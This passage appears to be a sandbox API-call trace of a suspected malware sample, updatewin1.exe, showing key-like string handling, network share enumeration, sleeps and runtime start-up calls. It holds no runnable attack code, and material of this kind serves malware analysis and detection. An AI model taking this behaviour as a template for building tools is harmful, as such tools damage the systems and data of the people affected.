42 [0050.057] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0050.057] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0050.057] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0050.057] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0050.057] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0050.057] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0050.057] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0050.057] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0050.057] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0050.058] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0050.058] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0050.058] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0050.058] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0050.058] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0050.058] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0050.058] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0050.058] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x30) returned 0x37e6b68 [0050.058] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x854) returned 0x37f8138 [0050.058] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x37e6b68, cbMultiByte=-1, lpWideCharStr=0x37f8138, cchWideChar=1066 | out: lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 43 [0050.058] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x860) returned 0x37f8998 [0050.058] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37f8138 | out: hHeap=0xd50000) returned 1 [0050.058] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37e6b68 | out: hHeap=0xd50000) returned 1 [0050.058] lstrcpyW (in: lpString1=0x46c450, lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}" | out: lpString1="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}" [0050.058] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37f8998 | out: hHeap=0xd50000) returned 1 [0050.058] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0050.058] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x56) returned 0x380b220 [0050.058] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1037a778, cbMultiByte=-1, lpWideCharStr=0x380b220, cchWideChar=43 | out: lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 43 [0050.058] lstrcpyW (in: lpString1=0x46c450, lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}" | out: lpString1="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}" [0050.058] lstrlenW (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O") returned 40 [0050.058] lstrlenW (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned 40 [0050.058] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37f6e20 | out: hHeap=0xd50000) returned 1 [0050.058] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3811bf0 | out: hHeap=0xd50000) returned 1 Thread: id = 47 os_tid = 0x9f8 [0050.410] timeGetTime () returned 0x1bac6 [0050.410] GetLastError () returned 0x54f [0050.410] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x3bc) returned 0x3811bf0 [0050.410] GetCurrentThreadId () returned 0x9f8 [0050.410] SetLastError (dwErrCode=0x54f) [0050.410] Sleep (dwMilliseconds=0x9c40) [0062.817] Sleep (dwMilliseconds=0x3e8) Thread: id = 48 os_tid = 0x9fc [0050.411] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0xa37fee0 | out: lphEnum=0xa37fee0*=0x382de30) returned 0x0 [0050.784] WNetEnumResourceW (in: hEnum=0x382de30, lpcCount=0xa37fedc, lpBuffer=0x38a4cb0, lpBufferSize=0xa37fed8 | out: lpcCount=0xa37fedc, lpBuffer=0x38a4cb0, lpBufferSize=0xa37fed8) returned 0x0 [0050.784] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x40) returned 0x37fec80 [0050.784] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x40) returned 0x37fecc8 [0050.784] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x70) returned 0x37f1678 [0050.784] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x40) returned 0x37fed10 [0050.784] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x40) returned 0x37fed58 [0050.784] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x38a4cb0, lphEnum=0xa37fe28 | out: lphEnum=0xa37fe28*=0x37e2070) returned 0x0 [0050.787] WNetEnumResourceW (in: hEnum=0x37e2070, lpcCount=0xa37fe24, lpBuffer=0x38aacb8, lpBufferSize=0xa37fe20 | out: lpcCount=0xa37fe24, lpBuffer=0x38aacb8, lpBufferSize=0xa37fe20) returned 0x103 [0050.787] WNetCloseEnum (hEnum=0x37e2070) returned 0x0 [0050.787] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37fecc8 | out: hHeap=0xd50000) returned 1 [0050.787] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37fec80 | out: hHeap=0xd50000) returned 1 [0050.787] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x40) returned 0x37fec80 [0050.787] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x40) returned 0x37fecc8 [0050.787] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0xe0) returned 0x38a8cd0 [0050.787] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x40) returned 0x37fe968 [0050.787] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x40) returned 0xe44ae0 [0050.787] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37fed58 | out: hHeap=0xd50000) returned 1 [0050.787] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37fed10 | out: hHeap=0xd50000) returned 1 [0050.787] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37f1678 | out: hHeap=0xd50000) returned 1 [0050.787] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x40) returned 0x37fed10 [0050.787] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x40) returned 0x37fed58 [0050.787] WNetOpenEnumW (dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x38a4cd0, lphEnum=0xa37fe28) Thread: id = 49 os_tid = 0xa08 Process: id = "6" image_name = "updatewin1.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin1.exe" page_root = "0x2ee72000" os_pid = "0xa00" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x9a4" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin1.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 50 os_tid = 0xa04 [0051.696] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0x3fe0a760, dwHighDateTime=0x1d53dff)) [0051.696] GetCurrentProcessId () returned 0xa00 [0051.696] GetCurrentThreadId () returned 0xa04 [0051.696] GetTickCount () returned 0x1bd26 [0051.696] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=17193262808) returned 1 [0051.709] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0051.709] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x2b0000 [0051.710] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0051.710] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0051.710] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0051.710] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0051.710] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0051.710] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0051.710] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0051.710] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0051.711] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0051.711] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0051.711] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0051.711] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0051.711] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0051.711] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0051.711] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0051.711] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0051.711] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0051.711] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0051.711] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0051.712] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0051.712] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0051.712] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x214) returned 0x2b07d0 [0051.712] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0051.712] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0051.712] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0051.712] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0051.712] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0051.713] GetCurrentThreadId () returned 0xa04 [0051.713] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0051.713] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x800) returned 0x2b09f0 [0051.713] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0051.713] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0051.713] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0051.713] SetHandleCount (uNumber=0x20) returned 0x20 [0051.713] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin1.exe\" " [0051.713] GetEnvironmentStringsW () returned 0x314e70* [0051.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0051.713] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x0, Size=0x565) returned 0x2b11f8 [0051.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x2b11f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0051.713] FreeEnvironmentStringsW (penv=0x314e70) returned 1 [0051.713] GetLastError () returned 0x0 [0051.713] SetLastError (dwErrCode=0x0) [0051.713] GetLastError () returned 0x0 [0051.713] SetLastError (dwErrCode=0x0) [0051.714] GetLastError () returned 0x0 [0051.714] SetLastError (dwErrCode=0x0) [0051.714] GetACP () returned 0x4e4 [0051.714] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x0, Size=0x220) returned 0x2b1768 [0051.714] GetLastError () returned 0x0 [0051.714] SetLastError (dwErrCode=0x0) [0051.714] IsValidCodePage (CodePage=0x4e4) returned 1 [0051.714] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0051.714] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0051.714] GetLastError () returned 0x0 [0051.714] SetLastError (dwErrCode=0x0) [0051.714] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0051.714] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0051.714] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0051.714] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0051.714] GetLastError () returned 0x0 [0051.714] SetLastError (dwErrCode=0x0) [0051.714] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0051.714] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0051.714] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ尟㺄㞕AĀ") returned 256 [0051.714] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ尟㺄㞕AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0051.714] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ尟㺄㞕AĀ", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0051.714] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x89\x5f\xf5\x3f\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0051.714] GetLastError () returned 0x0 [0051.714] SetLastError (dwErrCode=0x0) [0051.714] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0051.714] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ尟㺄㞕AĀ") returned 256 [0051.714] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ尟㺄㞕AĀ", cchSrc=256, 